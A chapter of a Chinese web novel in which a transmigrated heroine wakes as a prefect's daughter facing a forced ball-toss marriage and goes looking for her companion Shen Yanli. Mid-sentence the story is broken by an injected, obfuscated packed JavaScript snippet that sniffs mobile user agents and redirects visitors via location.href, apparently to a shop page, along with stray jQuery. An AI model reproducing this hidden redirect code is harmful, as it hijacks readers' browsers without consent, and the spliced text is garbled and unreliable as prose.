楠木梁柱呈开轩敞厅堂,墙壁悬挂墨染山水画,中央太师椅上坐着一位富态相的中年男人,正捋着胡须喋喋不休。 “临江阁绣球招亲的事就这么定了,我说的!椿儿,你可要为全州百姓着想,收一收你那小姐脾气。” 音音发现自己置身于一间古代宅院之中,明堂四周却不见沈宴离的身影。 人生地不熟的,她心里不免有点慌。 这表现引来中年男人不满训斥:“椿儿,你摇头晃脑看什么?我说的可听清楚了?连个小姐的样子都没有,真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745265|189855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是被宠坏了!” 音音撇嘴,心里开始分析。 已知情况是,她被沈宴离拉入了沉孽渊中,不知进到了哪块须弥幻境的碎片,现在身份是劳什子小姐,至于面前这人—— “爹?” 中年男人一怔,勉强坚定立场:“别以为撒撒娇就能糊弄过去,这次不一样。” “知道了。”音音才没撒娇,也没听清方才那番话。 她想到自从穿书以来,自己已经认了两个爹了。都怪她那个真便宜老爹,要是他不看这种为爽而爽的无脑网文,哪来这等破事。 中年男人摆摆手,像松了口气,揭开杯盏不紧不慢地吹了吹茶叶。 “知道了就下去,别再哭哭啼啼寻死觅活的,再干出跳湖那档子蠢事!不然我就多派几个侍卫盯着你。” 音音走出厅堂,身边一粉衣侍婢紧随其后。 模样十七八岁,鹅蛋脸柳叶眉,神色焦躁不安又小心翼翼的。 “小姐,这下可怎么办,老爷还是不肯松口。” 音音不解:“松口什么?” “让小姐嫁人啊!七日后临江阁,小姐抛绣球的高台都搭好了,消息也传遍大街小巷了,这下是真的没法子了。” “嫁人?!” 音音被门槛绊了一下,差点摔跤。 谁爱嫁谁嫁,反正她不嫁。 “小姐您这次可别跳湖了,很危险,何况沈侍卫也不会心软答应去抢绣球的。” 音音真是觉得自己脑子进水了需要通一通,她马上问那粉衣侍婢道:“你叫什么来着?” “我是小桃啊小姐。” 音音反手指向自己:“那我是谁?好端端的又嫁什么人?” 小桃忧心忡忡地回答:“小姐是彭州太守之女,这半年来彭州怪事频发,人心惶惶。上月青城观王道士登门太守府,说彭州有邪祟入侵,小姐嫁人冲喜可解——” “荒唐!嫁人冲喜这说法也太迷信了!那办冥婚还不得把死人给冲活了?!” 音音的怒气并不针对小桃,小桃眼中还是含了两汪泪:“小姐八字纯阴,无人敢上门议亲,老爷便想出抛绣球招亲的法子,还命彭州适婚男子届时都得参加……” “小姐还央求沈侍卫去抢绣球,只是沈侍卫一直不肯松口答应,这才想出假意投湖让沈侍卫心软的法子……” “沈侍卫?”音音只关注到那个称呼,“你是说沈宴离?” 小桃点点头,她知道小姐是喜欢沈侍卫的。 可这沈侍卫情感淡薄,任小姐如何撩拨也不为所动。 眼看小姐就要被逼嫁人了,沈侍卫还是木头一块冰山一座,她都快急死了。 音音放了心,好在沈宴离与她同在一块须弥碎片中。 随即便想到沈宴离心术不正,不知这幻境中会碰上多危险的恶灵邪祟。 大魔头可真是把她害惨了。 小桃跟着音音转入庭院,游廊尽头,水池环绕,一道曲折的朱栏小桥与湖心亭相连,颀长沉默的黑影抱剑立于亭中,背对来路,仿佛自在另个孤寂的世界。 “小姐你瞧,沈侍卫就站在那儿!” 小桃话音未落,却见音音已三步并做两步地提着裙子跑上前。 像去见心上人似的满心欢喜的样子,脆生生喊:“沈宴离!”